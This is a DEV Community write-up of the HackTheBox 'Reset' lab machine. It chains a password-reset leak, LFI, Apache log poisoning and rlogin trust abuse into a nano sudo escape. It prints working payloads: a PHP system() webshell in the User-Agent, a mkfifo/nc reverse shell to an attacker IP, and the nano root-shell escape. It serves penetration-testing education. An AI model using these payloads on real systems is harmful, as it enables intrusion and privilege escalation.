DEV Community

Cover image for HackTheBox: Reset Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: Reset Writeup

Summary

Reset is a Linux box built around a chain of web application logic flaws and a legacy authentication misconfiguration. Initial access starts with a password reset endpoint that leaks the new admin password directly in its JSON response, granting admin access to a log-viewer dashboard. That dashboard has an unvalidated file-path parameter (LFI), which is chained with Apache access-log poisoning (injecting PHP via the User-Agent header) to achieve remote code execution as www-data. From there, group membership (adm) exposes the user flag. Privilege escalation to a second user (sadm) abuses a hosts.equiv host-based trust misconfiguration exploitable via the legacy rlogin service, requiring no password. Finally, a misconfigured sudo rule permitting nano is escaped via GTFOBins to obtain a root shell and the root flag.


1. Reconnaissance

1.1 Nmap Scan

nmap -A -Pn <MACHINE_IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp http Apache httpd 2.4.52 (Ubuntu) — "Admin Login"
512/tcp exec netkit-rsh rexecd
513/tcp login rlogind
514/tcp shell Netkit rshd

The presence of the legacy r-services (rexec, rlogin, rsh on 512–514) is unusual for a modern box and hints that host-based trust authentication (.rhosts / hosts.equiv) will be relevant later.

The PHPSESSID cookie was flagged as missing the httponly flag by http-cookie-flags.


2. Web Enumeration

Browsing to http://<MACHINE_IP>/ presents an Admin Login page (Bootstrap 3.3.7 themed) with a "Forgot Password?" modal that POSTs a username to reset_password.php via AJAX.

<form id="resetPasswordForm">
    <input type="text" id="resetUsername" name="username" required>
    <button type="submit">Send Reset Email</button>
</form>
Enter fullscreen mode Exit fullscreen mode
$.ajax({
    url: 'reset_password.php',
    method: 'POST',
    data: { username: username },
    success: function(data) { ... }
});
Enter fullscreen mode Exit fullscreen mode

3. Vulnerability #1 - Password Reset Information Disclosure

Rather than emailing a reset token, reset_password.php returns the new plaintext password directly in the JSON response:

curl -X POST http://<MACHINE_IP>/reset_password.php \
     -d "username=admin" \
     -H "Content-Type: application/x-www-form-urlencoded"
Enter fullscreen mode Exit fullscreen mode

Response:

{"username":"admin","new_password":"9ab49143","timestamp":"2026-07-01 04:51:16"}
Enter fullscreen mode Exit fullscreen mode

This is a critical logic flaw - no email/token verification is required, and the endpoint hands the tester the admin credentials outright.

3.1 Authenticating as admin

curl -X POST http://<MACHINE_IP>/index.php \
     -d "username=admin&password=9ab49143" \
     -c cookies.txt -L
Enter fullscreen mode Exit fullscreen mode

This authenticates successfully and redirects to dashboard.php, confirming "Logged in as: admin".


4. Vulnerability #2 - Local File Inclusion (LFI) in dashboard.php

The Admin Dashboard presents a "Select Log File" dropdown (syslog, auth.log) which is submitted via POST to dashboard.php:

<select name="file">
    <option value="/var/log/syslog">syslog</option>
    <option value="/var/log/auth.log">auth.log</option>
</select>
Enter fullscreen mode Exit fullscreen mode

The dropdown only offers syslog and auth.log, but the file parameter is not restricted server-side to those values. access.log was chosen to test this because it's Apache's standard, universal request log - present on virtually every Apache install at a predictable path (/var/log/apache2/access.log), and critically, it records request data we control (URL, headers like User-Agent, etc.). That combination - a guessable path and attacker-controlled content - makes it the natural next file to try after confirming basic LFI, since it doubles as the entry point for log poisoning in the next step.

Supplying that path is honored:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"
Enter fullscreen mode Exit fullscreen mode

This successfully returned the contents of /var/log/apache2/access.log, confirming an LFI vulnerability - any file readable by the www-data user can be displayed via the "Log Contents" panel.


5. Vulnerability #3 - Apache Log Poisoning → Remote Code Execution

Since access.log records the User-Agent header verbatim, and the LFI can be pointed at that log file, a classic log poisoning chain applies:

  1. Send a request with a PHP payload as the User-Agent header - Apache writes it into access.log unsanitized.
  2. Use the LFI in dashboard.php to include /var/log/apache2/access.log, causing the PHP interpreter to execute the injected payload.

5.1 Proof of Concept

curl -v -b cookies.txt \
     -H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
     http://<MACHINE_IP>/dashboard.php
Enter fullscreen mode Exit fullscreen mode

Then triggering inclusion of the poisoned log (via the dashboard's log-viewer POST to /var/log/apache2/access.log) executes the injected PHP, confirming command execution.

5.2 Reverse Shell

Step 1 — Poison the log. The payload was upgraded to a full reverse shell, delivered via the User-Agent header. This request's only purpose is to get the payload written into access.log:

curl -b cookies.txt \
     -H "User-Agent: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f'); ?>" \
     http://<MACHINE_IP>/dashboard.php
Enter fullscreen mode Exit fullscreen mode

Step 2 — Start a listener on the attack box, in a separate terminal:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Step 3 — Trigger the LFI by POSTing the dashboard's file parameter at the now-poisoned access.log. This is the same LFI request from Section 4, and it's what actually causes Apache to parse and execute the injected PHP:

curl -v -L -b cookies.txt \
     -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"
Enter fullscreen mode Exit fullscreen mode

The system() call fires as the page renders, spawning the reverse shell back to the listener from Step 2:

whoami
www-data
Enter fullscreen mode Exit fullscreen mode

A subsequent Python PTY upgrade stabilized the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Foothold established as www-data.


6. User Flag

Enumeration from the www-data shell:

www-data@reset:/var/www/html$ ls
dashboard.php  index.php  private_34eee5d2  reset_password.php

www-data@reset:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
Enter fullscreen mode Exit fullscreen mode

Membership in the adm group grants read access to log files and, more importantly, to /home/sadm/user.txt:

www-data@reset:/home/sadm$ cat user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

User flag: [REDACTED]


7. Privilege Escalation Path - www-datasadm

7.1 Discovering Host-Based Trust

The presence of rexec/rlogin/rsh (ports 512–514) found in the nmap scan pointed toward legacy host-based authentication. Checking /etc/hosts.equiv (world-readable) confirmed it:

www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r-command access
- root
- local
+ sadm
Enter fullscreen mode Exit fullscreen mode

The + sadm entry means any remote host can rlogin as the local user sadm without a password, provided the connecting client's username matches (sadm).

7.2 Exploiting the Trust Relationship

On the attacking Kali machine, a local user named sadm was created to match the trusted username, then used to rlogin to the target:

sudo useradd -m sadm
sudo passwd sadm
sudo su - sadm
rlogin -l sadm <MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode

This dropped straight into an authenticated shell as sadm on the target — no password required, purely due to the hosts.equiv trust misconfiguration:

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
sadm@reset:~$ id
uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)
Enter fullscreen mode Exit fullscreen mode

A pre-existing tmux session (sadm_session) was also found running, hinting at prior/automated admin activity:

sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Wed Jul  1 04:40:01 2026)
Enter fullscreen mode Exit fullscreen mode

Attaching to it (tmux a -t sadm_session) revealed a sudo password being typed into a nano session: 7lE2PAfVHfjz4HpE.


8. Privilege Escalation Path - sadmroot (in progress)

8.1 Sudo Enumeration

sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log
Enter fullscreen mode Exit fullscreen mode

sadm can run nano as root against /etc/firewall.sh, using the recovered password (7lE2PAfVHfjz4HpE).

8.2 GTFOBins — nano Sudo Escape

nano is a listed GTFOBins binary for sudo privilege escalation via its command-execution feature:

sudo /usr/bin/nano /etc/firewall.sh
Enter fullscreen mode Exit fullscreen mode

Inside the editor:

  1. Ctrl+R (Insert file), then Ctrl+X (Execute a command) — opens an "Execute Command" prompt.
  2. Enter: reset; sh 1>&0 2>&0
  3. Press Enter.